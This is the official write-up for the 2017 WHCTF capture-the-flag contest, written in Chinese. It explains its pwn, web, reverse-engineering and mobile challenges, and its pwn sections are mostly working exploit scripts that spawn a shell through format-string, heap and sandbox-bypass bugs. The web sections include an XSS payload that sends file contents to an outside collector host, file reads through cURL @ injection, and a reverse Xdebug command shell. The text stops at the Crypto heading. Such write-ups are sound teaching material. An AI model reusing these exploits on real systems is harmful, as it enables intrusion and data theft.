WHCTF官方Writeup

  XCTF联赛小秘       2017-09-19 21:18:16 10686  9

WHCTF_Writeups

WHCTF Writeups

Pwn

RC4

不好意思题目换了了好几次,这里只说一下题目最初的设计

rc4是提供了rc4加密功能的一个程序,保护是开了PIE和NX

题目设置了三个vuln

  1. generate key函数存在ubi
  2. do exit时存在fsb
  3. do encrypt/decrypt时有bof

思路:

  1. 利用ubi泄露调用read_input函数时留下来的canary
  2. 因为开了pie, 所以直接rop肯定是不行了,想法是覆盖栈中的libc地址的低字节,直接调用one call gadget, 在main函数栈帧下面的<_dl_init+139>
  3. 需要同过通过0xffffffffff600000处的vsyscall不断抬升栈帧
  4. 直接在main函数返回调用vsyscall会失败,因为vsyscall需要参数, 所以在返回前调用一下do exit,给rdi一个可写的地址
  5. fsb没啥用,这个函数的作用就是设置rdi为可写
  6. bof因为是gets输入导致,但是会在末位加\x00

​ 通过部分覆盖当libc_base的低24bit为0xf1e000时,选择one call gadget=0xf0274,那么payload结尾为74e200时,就可以getshell了.所以,选手只需爆破24bit,本地测试为平均5分钟就可以撞到...

EasyPwn

就是一个简单的格式化字符串,有一点点的变形,格式串在缓冲区中,在dst的后面,可以被覆盖掉,于是就按照正常的格式化字符串做即可。110066的exp很简明(代码短,易理解),直接采用了。

简单的格式化字符串漏洞,给新手做的题目,初始看的时候,sprintf()函数里面的格式化串是%s,写好的,没有漏洞,但是格式化串在目的缓冲区的下方,而且输入大量的字符可以溢出修改格式化串,由此导致了格式化字符串漏洞。

漏洞构成就如上,漏洞利用就很简单了,程序可以输入5次,程序开了PIE,NX,Stack Cannary 三个保护措施,所以,先泄露出来程序基址,然后泄露GOT中系统函数地址,最后修改GOT 表劫持到system函数 或者 OneShot

还有说调试难的同学,个人觉得还好,如果的确坑到你了,对不住了,谢谢参与!

from pwn import *
context.log_level='debug'    
context.terminal = ['terminator','-x','bash','-c']
local = 0
if local:
    cn = process('./pwn1')
    bin = ELF('./pwn1')
    libc = ELF('./libc.so')
else:
    cn = remote('118.31.10.225'20001)
    bin = ELF('./pwn1')
    libc = ELF('./libc.so')
def z(a=''):
    gdb.attach(cn,a)
    raw_input()
######################## 
cn.recvuntil('Code:')
cn.sendline('1')
cn.recvuntil('WHCTF')
pay = 'a'*1000+'bb%397$p'
pay = pay.ljust(1024,'\x00')
cn.sendline(pay)
cn.recvuntil('0x')
data = int(cn.recvuntil('\n')[:-1],16)
libc_base = data - libc.symbols['__libc_start_main']-240
success('libc_base: ' + hex(libc_base))
system = libc_base + libc.symbols['system']
success('system: ' + hex(system))
freehook = libc_base + libc.symbols['__free_hook']
success('freehook: ' + hex(freehook))
################ 
for i in range(8):
    cn.recvuntil('Code:')
    cn.sendline('1')
 
    p_system = p64(system)
    cn.recvuntil('WHCTF')
    pay = 'a'*1000
    pay += 'BB%'+str(0x100-0xfe+ord(p_system[i]))+'c%133$hhn'
    pay = pay.ljust(1016,'A')
    pay += p64(freehook+i)
    pay = pay.ljust(1024,'a')
    print len(pay)
    cn.sendline(pay)
cn.sendline('2')
cn.sendline('/bin/sh\x00')
cn.interactive()

Note_sys

漏洞原理

程序调用多线程时,未对共享资源加锁,导致多线程之间的竞争

source code

这里两个线程会出现竞争,在delete线程还在sleep时,如果进行malloc,则会导致malloc后的heap地址写到了note_to_write变量所指向的地址空间,利用这一特征,我们可以将heap地址写到bss段中notes指针表向上的任意地址(只要在sleep时间内创造足够多的delete线程)。因此,我们就可以将got表中的函数地址进行覆盖

 
    void *malloc_func(void *arg)
    {
        note_to_write ++;
        int tmp = count;
        char *to_copy = (char *)arg;
        tmp += 1;
        //usleep(100000);
        count = tmp;
        if(count > 34)
        {
            printf("too many notes!!\n");
            note_to_write --;
            return 0;
        }
        else
        {
            printf("logged successfully!\n");
            *note_to_write = malloc(256 * sizeof(char));
            memset(*note_to_write, 0, 256);
            memcpy(*note_to_write, to_copy, 250);
            return 0;
        }
    }
    void *delete_func(void *arg)
    {
        char **note_to_delete = note_to_write;
        note_to_write --;
        int tmp = count;
        tmp -= 1;
        usleep(2000000);
        if(count > 0)
        {
            free(*note_to_delete);
            count = tmp;
            printf("delete successfully!\n");
        }
        else
        {
            printf("too less notes!!\n");
            note_to_write ++;
            return 0;
        }
        return 0;
    }

shellcode

注意坏字符 \x90\x00\x0a

payload = asm(shellcraft.amd64.linux.execve("/bin/sh"))

exp

    from pwn import *
    context.arch      = 'amd64'
    context.os        = 'linux'
    context.endian    = 'little'
    context.word_size = 64
    elf = ELF("./main")
    pro = process("./main")
    aim_number = 14
    while aim_number > 0:
        aim_number -= 1
        #pro.interactive() 
        print pro.recvuntil('choice:\n')
        pro.sendline('2')
        print pro.recvline()
    print pro.recvuntil('choice:\n')
    payload = asm(shellcraft.amd64.linux.execve("/bin/sh"))
    print disasm(payload)
    pause()
    print payload.encode('hex')
    print len(payload)
    pro.sendline('0')
    print pro.recvline()
    pro.sendline(payload)
    pause()
    pro.interactive()

Stackoverflow

one null byte write in libc

只能17.04libc进行漏洞利用的特殊方法

这个题目不难逆向,逻辑很简单,不断的在stackof里面创建堆块,然后读取字符到堆块里面。 漏洞也存在于这个函数里面,在后面有一个libc任意地址写一个null byte的机会。

当我们malloc一定大小的堆块的时候这个堆块会开在binary和libc之间。

这个题目只能在17.04版本的ubuntu下利用, 在这个版本的libc中。stdin 结构体的 io_buf_end的地址末位正 好是一个null byte,这样的话,如果我们能够修改io_buf_base指向io_buf_end的话,通过与io相关的函数就 能够读写io_buf_end之后的内容,包括main_arena。 这里的利用方法是通过改写main_arena的unsorted bin的地址到我们伪造的的堆块上面,在malloc的时候能够形成unsorted bin attack,在17.04里面通过修改_dl_open_hook为就能够伪造dl_open_hook结构体劫持RIP。

所以这样我们就能够得到执行一次gadget的机会了。但是这里要怎么控制rip跳转到我们的rop上面呢? 通过 mov rdi, rax; call [rax + 0x20];这个gadget就能够控制rdi和rip。

之后通过setcontext函数就能够跳到设置好的rop上面了。

from pwn import *
context.log_level = 'debug'
#io = process('./stackoverflow') 
io = remote('172.17.0.2'4869)
pause()
 
io.recvuntil(':')
io.send('a' * 56)
io.recvuntil('a' * 56)
libc_addr = u64(io.recvn(6).ljust(8'\x00')) + 3442360
log.info('libc_addr :' + hex(libc_addr))
libc_main = libc_addr - 0x7ffff7dd2641 + 0x00007ffff7a10000
io.recvuntil(':')
io.sendline(str(0x6c28c0+0x30-8))
io.recvuntil(':')
io.sendline(str(0x300000))
io.recvuntil(':')
io.send('lowkey')
 
io.send("\xf0\x1d")
# handcraft the _IO_2_1_stdin_ 
payload = ""
payload += p64(libc_addr-2385) # current io buf end 
payload += p64(0x00)*6
payload += p64(0xffffffffffffffff)
payload += p64(0x000000000a000000)
payload += p64(libc_addr+4399)
payload += p64(0xffffffffffffffff)
payload += p64(0x00)
payload += p64(libc_addr-3233)
payload += p64(0x00)*3
payload += p64(0x00000000ffffffff)
payload += p64(0x00)*2
payload += p64(libc_addr-16961)
# fake unsorted bins 
payload += p64(0)
payload += p64(0x110)
payload += p64(libc_addr + 15519 - 0x10) #fd _dl_open_hook - 0x10 
payload += p64(libc_addr + 15519 - 0x10) #bk _dl_open_hook - 0x10 
payload += '\x00' * 0xf0
payload += p64(0) * 8
payload += p64(0)*2 # controlling RIP: malloc_hook 
# main_arena! 
payload += p64(0x0000000100000000)
payload += p64(0x00)*10
payload += p64(libc_main + 0x6ebbb) # main_arena + 88 
payload += p64(0) # main_arena + 96  
payload += p64(libc_addr - 3233) # unsorted bin [1] 
payload += p64(libc_addr - 3233) # unsorted bin [1] 2 
payload += p64(libc_main + 0x48010 + 51) # <setcontext+51> 
payload += p64(0) * 3
payload += p64(0xdeadbeef) * 12 # where ROP lies in 
payload += p64(libc_main + 0x3c1b00 + 128 + 24) # rsp 
payload += p64(libc_main + 0x937) # rdi + 0xd8, the first gadget, i set it to 'ret' 
print "ok, corrupted the main arena."
 
io.recvuntil(':')
io.sendline('123')
io.recvuntil(':')
io.sendline('123')
io.recvuntil(':')
pause()
io.sendline(payload)
io.interactive()

Sandbox

sandbox bypass

用ptrace实现的一个sandbox,不能执行execve、open、clone、vfork、create、opennat系统调用。vul是一个简单的栈溢出。

这里过滤系统调用是通过系统调用号来进行过滤的,而32位和64位linux的系统调用号不同,可以在32位进程中执行64位的系统调用号绕过sandbox。首先需要通过retf切换到64位模式,详细见exp

import os
from threading import Thread
# from uploadflag import * 
from zio import *
 
target = ('119.254.101.197'10000)
target = './sandbox ./vuln'
#target = './vuln' 
 
def interact(io):
    def run_recv():
        while True:
            try:
                output = io.read_until_timeout(timeout=1)
                # print output 
            except:
                return
 
    t1 = Thread(target=run_recv)
    t1.start()
    while True:
        d = raw_input()
        if d != '':
            io.writeline(d)
 
 
def exp(target):
    io = zio(targettimeout=10000, print_read=COLORED(RAW'red'), \ 
             print_write=COLORED(RAW'green'))
    io.gdb_hint()
    payload = '1'*0x30 + l8(0x48)
 
    main = 0x0804865B
    puts_plt = 0x08048470
    puts_got = 0x0804A018
    payload += l32(puts_plt) + l32(main) + l32(puts_got)
 
    io.writeline(payload)
    io.read_until('1'*0x30)
    io.readline()
    puts_addr = l32(io.read(4))
    print hex(puts_addr)
 
    base = puts_addr - 0x0005FB80
    print hex(base)
 
    mprotect = base + 0x000E2E60
 
    payload = '1'*0x30 + l8(0x48)
    pop3_ret = 0x08048729
    payload += l32(mprotect) + l32(pop3_ret) + l32(0x0804a000) + l32(0x1000)+l32(7)
    shellcode_addr = 0x0804ab00
    read_plt = 0x08048440
    payload += l32(read_plt) + l32(shellcode_addr) + l32(0) + l32(shellcode_addr) + l32(0x200)
 
    io.writeline(payload)
 
    #shellcode_32 = '\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80' 
    #io.writeline(shellcode_32) 
 
    shellcode32 ='''
    BITS 32
    org 0x804ab00
    push 0x33
    call next
    next:
    add dword [esp], 5
    retf
    '''
 
    f = open('shell32.asm''wb')
    f.write(shellcode32.strip())
    f.close()
 
    os.popen('nasm -f bin -o shell32 shell32.asm')
 
    shellcode64 = '''
    BITS 64
    org 0x0804ab20
    jmp final
    prev:
    pop rdi
    xor rsi, rsi
    mov rax, 2
    syscall
    mov rdi, rax
    mov rax, 0
    mov rsi, 0x0804a900
    mov rdx, 0x100
    syscall
    mov rdx, rax
    mov rdi, 1
    mov rsi, 0x0804a900
    mov rax, 1
    syscall
    mov rdi, 0
    mov rax, 60
    syscall
    final:
    call prev
    db './flag', 0
    '''
 
    f = open('shell64.asm''wb')
    f.write(shellcode64.strip())
    f.close()
    os.popen('nasm -f bin -o shell64 shell64.asm')
 
    f = open('./shell32''rb')
    d1 = f.read()
    f.close()
 
    f = open('./shell64''rb')
    d2 = f.read()
    f.close()
 
    shellcode = d1.ljust(0x20'\x90') + d2
    io.read_until('1'*0x30)
    io.writeline(shellcode)
 
    f = open('shell.bin''wb')
    f.write(shellcode)
    f.close()
    interact(io)
 
 
exp(target)

calc

heap overflow

  1. 在执行calc中的加法操作时,能够堆溢出两个bit。能够修改下一个堆块的IS_MMAPPED标志位。
  2. IS_MMAPPED=1时,用calloc申请时不会清零。(http://tukan.farm/2016/10/14/scraps-of-notes/ 最新版本的libc已修复)
  3. 在new一个number时,如果输入的lengen过长,将直接返回,使得Num结构中的len和value未进行初始化。结合第2点,可以使这里value刚好会指向main_arena附近的一个地址。

    ​通过show功能泄露出libc的地址。

    ​通过calc的加法操作能够修改libc库中的free_hook指针为system地址。

exploit如下:

from threading import Thread
# from uploadflag import * 
from zio import *
 
target = ('119.254.101.197'10000)
target = './calc'
 
 
def interact(io):
    def run_recv():
        while True:
            try:
                output = io.read_until_timeout(timeout=1)
                # print output 
            except:
                return
 
    t1 = Thread(target=run_recv)
    t1.start()
    while True:
        d = raw_input()
        if d != '':
            io.writeline(d)
 
def enter(io, name, len, value):
    io.read_until('>>')
    io.writeline('1')
    io.read_until(':')
    io.writeline(name)
    io.read_until(':')
    io.writeline(str(len))
    io.read_until(':')
    io.writeline(value)
 
def enter2(io, name):
    io.read_until('>>')
    io.writeline('1')
    io.read_until(':')
    io.writeline(name)
    io.read_until(':')
    io.writeline(str(0x3009))
 
def calc(io, expression):
    io.read_until('>>')
    io.writeline('2')
    io.read_until(':')
    io.writeline(expression)
 
def show(io, name):
    io.read_until('>>')
    io.writeline('3')
    io.read_until(':')
    io.writeline(name)
 
def delete(io, name):
    io.read_until('>>')
    io.writeline('4')
    io.read_until(':')
    io.writeline(name)
 
def edit(io, name, value):
    io.read_until('>>')
    io.writeline('5')
    io.read_until(':')
    io.writeline(name)
    io.read_until(':')
    io.writeline(value)
 
def exp(target):
    io = zio(targettimeout=10000, print_read=COLORED(RAW'red'), \ 
             print_write=COLORED(RAW'green'))
    io.gdb_hint()
 
    enter(io'a'0x98'F'*0x98*2) # 0x603010 
    enter(io'b'0x40'1'*0x40*2) # 0x603150 
    enter(io'c'0x98'3'*0x98*2) # 0x603290 
    enter(io'd'0x98'5'*0x98*2) # 0x6033d0 
    enter(io'f'0x98'6873') # 0x6033d0 
    delete(io'b')
    calc(io'a=a+d')
    enter2(io'e')
    io.gdb_hint()
    show(io'e')
    io.read_until('number is:\n')
 
    d = io.readline()[:-1]
 
    print d
    print len(d)
 
    system = 0
    base = int(d[len(d)-3*16:len(d)-2*16]16) - 0x3be7b8
    system = base + 0x46640
    distance = (0x3C0A10 - 0x3be7b8)*2
    print hex(base)
    print hex(base + 0x3C0A10)
    io.gdb_hint()
 
    d2 = hex(system)[2:].rjust(16'0').upper()
    enter(io'h'(distance/2)+0x10d2 + '0'*distance)
    calc(io'e=e+h')
 
    #edit(io, 'e', d) 
    delete(io'f')
    interact(io)
 
 
exp(target)

Web

Scanner

SSRF

这道题主要是模拟一个较大的网站,然后来用自己的扫描器扫描出漏洞

因为一般的题目都是给的网站比较小,可能漏洞点就那么几个,试试也都出来了,但和现实环境完全不一样

现实中的漏洞往往比较简单,但因为网站太大,加上禁用扫描器什么的,导致大家找不到某洞

这道题就是模拟这样一种情况

大概设计是在http://127.0.0.1/g/github.com/trending.php

这里是github的项目,里面有两个项目有图片

大概是http://127.0.0.1/g/github.com/engineerapart/TheRemoteFreelancer.php

以及http://127.0.0.1/g/github.com/yarnpkg/yarn.php

这里设计点击图片以后,会调用js发送另一个请求,然后图片会放大

但是url是稍微混淆了一下这样普通的扫描器就没办法扫出来

然后理论是个ssrf,但是硬编码了一下如果是file:///etc/passwd就会把对应的打出来

然后有个flag用户,然后直接看就可以了

Not_only_XSS

首页是一个普通的留言板页面,

其中csp策略如下:

default-src 'self'; -src 'self' 'unsafe-inline';style-src 'self' 'unsafe-inline';img-src *;

通过下述payload绕过:

<link rel="prefetch" href="http://xss_platform">

然后成功接收到请求,发现其中的referer值为file协议以及bot由phantomjs实现。从而猜测可以通过xmlhttprequest通过file协议读取文件。

访问upload/ea32d52fee26c9296a7fcdb37f66930a.html,发现其中引用了一个filter.js,简单阅读之后很容易构造提交如下:

<>function reqListener () {    var encoded = encodeURI(this.responseText); location.href="http://xss_platform?data="+encoded;}var oReq = new XMLHttpRequest();oReq.addEventListener("load", reqListener);oReq.open("GET", "file:///var/www/html/flag.php");oReq.send();</>

从而获取到flag。

Router

借用两个战队的wp

Nu1L的wp:

看了一眼是 go 的程序很开心,翻出吃灰多年的处理脚本,还原了函数名,然后就很简单了。 export 未做权限检查,可以直接下载设置文件。然后本地运行,在验证逻辑eqstring处直接下断,即可读到账号和密码。登陆后,随便点一些什么就发现响应中有flag。 //这题其实可以搞事情,疯狂改密码。这样后来的解题者就只能走 backdoor的 udp 后门来解题了。

AAA的wp:

题目构成:

给了个 bin 文件,看起来是 go 写的。给了个网址,看起来程序跑起来就是这个效果。拿 ida 简单的看了看字符串,发现了几个路由,比如 export.php,访问了下可以导出个加密的配置文件。其他的看起来都要权限。

解题思路:

队友那里拿到了个恢复 go 符号表的 ida python 脚本,找到了 decode 函数,本地拿 gdb 调试, 在 decode 函数处下断点,访问首页断下来了,可以在哪个寄存器指向的地址处发现用户名和密码,于是把题目的配置文件 export 出来再 import 到本地,重来一次即可断到断点得到密码。登录到后台,发现了一个 action 参数,随便改个其他值就得到 flag 了。

Cat

php cURL CURLOPT_SAFE_UPLOAD

django DEBUG mode

Fuzz URL,得到如下结果:

  1. 正常 URL,返回 ping 结果
  2. 非法 URL(特殊符号),返回 Invalid URL
  3. %80,返回 Django 报错

需要选手通过第三种情况,判断出后端架构,猜测 PHP 层的处理逻辑。

CURLOPT_SAFE_UPLOAD 为 true 时,PHP 可以通过在参数中注入 @ 来读取文件。当且仅当文件中存在中文字符的时候,Django 才会报错导致获取文件内容。

通过 Django 报错调用栈中的信息,请求 @/opt/api/api/settings.py 得到数据库名称,在通过 @/opt/api/database.sqlite3 得到数据库内容,其中包含 Flag。

    $ curl 'ricterz.me:8899/?url=@/opt/api/database.sqlite3' | xxd | grep -A 5 -B 5 WHCTF
    00015c90: 305c 7830 305c 7830 305c 7830 305c 7830  0\x00\x00\x00\x0
    00015ca0: 305c 7830 305c 7830 305c 7830 305c 7830  0\x00\x00\x00\x0
    00015cb0: 305c 7830 305c 7830 305c 7830 305c 7830  0\x00\x00\x00\x0
    00015cc0: 305c 7830 305c 7830 305c 7830 305c 7830  0\x00\x00\x00\x0
    00015cd0: 305c 7830 305c 7830 305c 7830 305c 7831  0\x00\x00\x00\x1
    00015ce0: 635c 7830 315c 7830 3241 5748 4354 467b  c\x01\x02AWHCTF{
    00015cf0: 796f 6f6f 6f5f 5375 6368 5f41 5f47 3030  yoooo_Such_A_G00
    00015d00: 445f 407d 2661 6d70 3b23 3339 3b26 6c74  D_@}&amp;#39;&lt
    00015d10: 3b2f 7072 6526 6774 3b26 6c74 3b2f 7464  ;/pre&gt;&lt;/td
    00015d20: 2667 743b 0a20 2020 2020 2020 2020 2026  &gt;.          &
    00015d30: 6c74 3b2f 7472 2667 743b 0a20 2020 2020  lt;/tr&gt;.

Emmm

Xdebug command

通过 PHPINFO 查看到,Xdebug 开启了如下模式:

    xdebug.remote_enable = On
    xdebug.remote_connect_back = On

那么,通过 Xdebug 执行命令即可,Exp 如下:

    #!/usr/bin/python2 
    import socket
 
    ip_port = ('0.0.0.0',9000)
    sk = socket.socket()
    sk.bind(ip_port)
    sk.listen(10)
    connaddr = sk.accept()
 
    while True:
        client_data = conn.recv(1024)
        print(client_data)
 
        data = raw_input('>> ')
        conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))

在存在外网的服务器运行 exp,接着运行命令:

curl 'localhost:8889/phpinfo.php?XDEBUG_SESSION_START=233' -H "X-Forwarded-For: ricterz.me"

收到反弹回来的 Xdebug shell:

    ricter@baka:/tmp$ python xdebug_exp.py
    495<?xml version="1.0" encoding="iso-8859-1"?>
    <init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" fileuri="file:///app/phpinfo.php" language="PHP" xdebug:language_version="7.0.22-0ubuntu0.16.04.1" protocol_version="1.0" appid="11" idekey="233"><engine version="2.6.0-dev"><![CDATA[Xdebug]]></engine><author><![CDATA[Derick Rethans]]></author><url><![CDATA[http://xdebug.org]]></url><copyright><![CDATA[Copyright (c) 2002-2017 by Derick Rethans]]></copyright></init>
    >> system("cat /flag.txt");
    288<?xml version="1.0" encoding="iso-8859-1"?>
    <response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="25" encoding="base64"><![CDATA[V0hDVEZ7WGQzYnVnXzFzX2F3M3NvbUUhfQ==]]></property></response>
    >> Traceback (most recent call last):
      File "xdebug_exp.py", line 14, in <module>
        data = raw_input('>> ')
    EOFError
 
    ricter@baka:/tmp$ echo V0hDVEZ7WGQzYnVnXzFzX2F3M3NvbUUhfQ== | base64 -d
    WHCTF{Xd3bug_1s_aw3somE!}

RE

Format

用printf实现的一个brainfuck解释器(https://github.com/HexHive/printbf),通过逆向程序提取出里面的brainfuck程序,然后对brainfuck程序进行分析,得到满足条件的password为 Pr1nBf_f4cK!

连接题目提供的ip和port,得到flag.

echo 'Pr1nBf_f4cK!' > password                                      
cat password - | nc ip port

Wbaes

正如题目所言,本题设置的是一道白盒密码的逆向题目, 白盒密码的思想就是把加密的key混合到加密运算的table里,并对程序加以混淆,反调试等,让你不那么容易就找到key.所以思路就是要找到本题aes加密使用的key.

针对白盒密码的攻击在学术和工业届都有很成熟的研究成果了,这里推荐一个攻击套件SideChannelMarvels, 里面有一整套Differential Computation Analysis和Differential Fault Analysis的工具

脚本参考: https://github.com/SideChannelMarvels/Deadpool/blob/master/wbs_aes_rhme3_prequal/DFA/attack_rhme3p1.py

还有人问程序是用什么混淆的, movfuscator.只要理解了上述攻击的原理,就不用对程序做太多的逆向分析工作了

MIMI

这个题目使用了MIPS+STATIC+STRIP,具有很高的逆向难度,非常幸运还是有3个战队做了出来,膜拜Redbud、Lancet和PK-You的大佬们。这个题目其实没有那么难,要自己搭建一下环境,测一测就可以发现明密文之间的相关性。正规解法就是爆破的思路,题目的本质是三个相连字符前置一个flappypig的salt后md5,这里首先预制了一个100万次的空循环,首先把他patch掉提高爆破效率,然后爆破字符对应的md5即可。

附Redbud的exp

# flag{mips_with_static_is_cr4zy!} 
 
import subprocess 
import hashlib 
import json 
import itertools 
import string
 
def md5(s):
    m2 = hashlib.md5() 
    m2.update(s) 
    return m2.hexdigest()
 
with open('dict') as f:
    d = json.load(f)
 
with open('out') as f:
    out = f.read().strip() 
rst = ''
 
i = 0 
while i < 512:
    try:
        s = out[i:i+32] 
        rst += d[s][-3:-1] 
    except KeyError:
        print 'not found'
        rst += '**' 
    i += 32 
    print rst
print 'done'

CrackMe

直接盗用AAA的wp

一道静态分析题,注意到判断逻辑在0x401669处,在0x4015F7有个对字符串长度的判定,直接在od里下断点,一个一个提出来就好了。最终提取出的字符串为flag{The-Y3ll0w-turb4ns-Upri$ing} 提交的flag为The-Y3ll0w-turb4ns-Upri$ing

BabyRE

ida打开发现函数指针指向.data段上的judge数组,开gdb在0000000000400686位置call rdx下断点跟进去,得到汇编码:

   0x600b04 <judge+4>:  mov [rbp-0x28], rdi
   0x600b08 <judge+8>:    mov    BYTE PTR [rbp-0x20],0x66
   0x600b0c <judge+12>:    mov    BYTE PTR [rbp-0x1f],0x6d
   0x600b10 <judge+16>:    mov    BYTE PTR [rbp-0x1e],0x63
   0x600b14 <judge+20>:    mov    BYTE PTR [rbp-0x1d],0x64
   0x600b18 <judge+24>:    mov    BYTE PTR [rbp-0x1c],0x7f
   0x600b1c <judge+28>:    mov    BYTE PTR [rbp-0x1b],0x6b
   0x600b20 <judge+32>:    mov    BYTE PTR [rbp-0x1a],0x37
   0x600b24 <judge+36>:    mov    BYTE PTR [rbp-0x19],0x64
   0x600b28 <judge+40>:    mov    BYTE PTR [rbp-0x18],0x3b
   0x600b2c <judge+44>:    mov    BYTE PTR [rbp-0x17],0x56
   0x600b30 <judge+48>:    mov    BYTE PTR [rbp-0x16],0x60
   0x600b34 <judge+52>:    mov    BYTE PTR [rbp-0x15],0x3b
   0x600b38 <judge+56>:    mov    BYTE PTR [rbp-0x14],0x6e
   0x600b3c <judge+60>:    mov    BYTE PTR [rbp-0x13],0x70
   0x600b40 <judge+64>:    mov    DWORD PTR [rbp-0x4],0x0
   0x600b47 <judge+71>:    jmp    0x600b71 <judge+113>
   0x600b49 <judge+73>:    mov    eax,DWORD PTR [rbp-0x4]
   0x600b4c <judge+76>:    movsxd rdx,eax
   0x600b4f <judge+79>:    mov    rax,QWORD PTR [rbp-0x28]   // 输入的字符串
   0x600b53 <judge+83>:    add    rax,rdx
   0x600b56 <judge+86>:    mov    edx,DWORD PTR [rbp-0x4]
   0x600b59 <judge+89>:    movsxd rcx,edx
   0x600b5c <judge+92>:    mov    rdx,QWORD PTR [rbp-0x28]
   0x600b60 <judge+96>:    add    rdx,rcx
   0x600b63 <judge+99>:    movzx  edx,BYTE PTR [rdx]
   0x600b66 <judge+102>:    mov    ecx,DWORD PTR [rbp-0x4]
   0x600b69 <judge+105>:    xor    edx,ecx
   0x600b6b <judge+107>:    mov    BYTE PTR [rax],dl
   0x600b6d <judge+109>:    add    DWORD PTR [rbp-0x4],0x1
   0x600b71 <judge+113>:    cmp    DWORD PTR [rbp-0x4],0xd
   0x600b75 <judge+117>:    jle    0x600b49 <judge+73>
   0x600b77 <judge+119>:    mov    DWORD PTR [rbp-0x4],0x0
   0x600b7e <judge+126>:    jmp    0x600ba9 <judge+169>
   0x600b80 <judge+128>:    mov    eax,DWORD PTR [rbp-0x4]
   0x600b83 <judge+131>:    movsxd rdx,eax
   0x600b86 <judge+134>:    mov    rax,QWORD PTR [rbp-0x28]
   0x600b8a <judge+138>:    add    rax,rdx
   0x600b8d <judge+141>:    movzx  edx,BYTE PTR [rax]
   0x600b90 <judge+144>:    mov    eax,DWORD PTR [rbp-0x4]
   0x600b93 <judge+147>:    cdqe   
   0x600b95 <judge+149>:    movzx  eax,BYTE PTR [rbp+rax*1-0x20]
   0x600b9a <judge+154>:    cmp    dl,al
   0x600b9c <judge+156>:    je     0x600ba5 <judge+165>
   0x600b9e <judge+158>:    mov    eax,0x0
   0x600ba3 <judge+163>:    jmp    0x600bb4 <judge+180>
   0x600ba5 <judge+165>:    add    DWORD PTR [rbp-0x4],0x1
   0x600ba9 <judge+169>:    cmp    DWORD PTR [rbp-0x4],0xd
   0x600bad <judge+173>:    jle    0x600b80 <judge+128>
   0x600baf <judge+175>:    mov    eax,0x1
   0x600bb4 <judge+180>:    pop    rbp
   0x600bb5 <judge+181>:    ret

对输入的字符串依次xor位数,与原有字符串比较,xor逆推回去即可得到flag:flag{n1c3_job}

EasyHook

程序hook了WriteFile。其他没有特别之处。hook后的代码在sub_401000,里面即是加密算法,比较简单逆回去即可,脚本如下:

buf = [ord(i) for i in '616A79676B466D2E7F5F7E2D53567B386D4C6E00'.decode('hex')]
buf[18] ^= 0x13
for i in range(17-1-1):
    v3 = i ^ buf[i]
    if i % 2:
        buf[i] = v3 + i
    else:
        buf[i+2] = v3
print ''.join(chr(i) for i in buf)
#flag{Ho0k_w1th_Fun} 

Mobile

LoopCrypto

flag: "flag{LOoK|N9_An_3@&9_s%Lue?!?!}"(不包括引号)

本题出题的主要出发点是深刻考察做题人员的以及ARM逆向功底,因此本题目设计本着不偏、不坑的原则,做到一环套一环、解决一个问题后再解决下一个问题的设计思路,令做题者不会因为没有思路而放弃分析(手动滑稽~)。

本题层中所有关键部分的字符串都有加密保护,解密函数位于Decode类,Decode类提供一个为比较复杂的三重循环异或解密。解密函数主要用于对层的字符串解密,在开发的过程中对于解密函数的密钥选择是随机的

Native层中的程序在运行过程中会回调层中的解密函数进行字符串解密。鉴于不能修改代码重打包,做题者可以选择使用hook方式打出解密后的结果,也可以选择看懂代码写出解密函数。

接下来是Native层,在弹出验证flag窗口后,做题者将flag输入,按下按钮后,程序会计算apk签名的MD5,并将输入内容和md5值一并传入Native层的验证函数。

Native层的so在init_array段有一个简单的ptrace反调试,子进程会不断检查父进程的status文件中调试进程是否为0,如果被调试则将主进程杀死。这里不能采用hook掉fork()函数的方式绕过反调试,因为fork()函数在后期还会用到。

Native层的验证flag的思路是再使用fork()创建一个子进程,将flag传入子进程,父子进程之间使用pipe进行通讯(因此hook了fork()函数是不行的),子进程将验证结果使用pipe传输回来,父进程接受子进程传过来的字符串并将它返回给上层程序,最终使用toast显示出来。

为了增加难度,验证flag的子进程的代码写成了shellocde,这个shellcode使用使用编译的zlib压缩算法,并且去掉了zlib头尾,再使用apk签名的MD5进行循环异或加密(因此签名不能变),最终存储在so的全局变量区。调用该shellcode的时候,先使用apk签名的MD5进行解密,再使用zlib解压缩,解压缩完成后,跳转到该shellcode执行,shellcode接受传入的flag以及通讯用的pipe变量,内部使用tea算法对flag进行加密,与shellcode中预存的加密结果进行比较,最终使用pipe传输验证结果。

为了再次增加难度,验证flag的子进程使用ptrace反调试,防止直接dump出解密后的shellcode文件。

上述就是本题的总体出题思路。

现提供一个一般的解题方法:首先解压出lib文件,分析清楚其流程,找到内部存储的加密后的shellcode内容,将该内容使用apk签名的MD5进行循环异或解密,再对其使用zlib解压,得到一个完整的shellcode文件。IDA打开此shellcode文件,分析清楚其使用的tea算法及密钥,对加密后的结果进行解密,即可得到flag。

FindMyMorse

本题flag:"flag{no7_tHE_Re@L_MoRsE_/o/2z2z}"(不包含双引号)

本题使用安卓的Native

Activity框架编写了一个莫尔斯码模拟器,因此该apk本质上是一个纯c写成的APK。

该APK运行时会监控点击屏幕的时间长度,当点击屏幕时间短于200毫秒时,记为输入了0,长于200毫秒时记为输入了1。

程序内部预置了一个比特序列,当点击屏幕时输入的bit与该序列相同时,屏幕为绿色且没有任何输出,当不同时屏幕会为红色且输出提示错误。

为了防止一下子看出比特序列,做了一些防护措施,首先将一整个比特序列拆分为四组,从原序列中依次取四个bit放入到新的组里,随后将四组比特序列逆序,然后依次按8比特组成一个字节拼合,最后将字节再逆序存储为最终的比特序列。

比特序列的总长度为224,很明显可以算出224等于4*8*7,根据可见字符的ascii码特征,不难猜测出这是32个可见字符取了低7位。将这224个比特数据每7比特拼接成一个字节,即可得到明文的flag。

本题c层没有加任何的混淆。

期望的解法:看懂程序读取01的原理,研究清楚比特序列的存储方法,还原比特序列,拼接成最终的字符串。

暴力的解法:依次爆破每个比特,只需进行224次尝试即可爆破出比特流。

Crypto

Bornpig

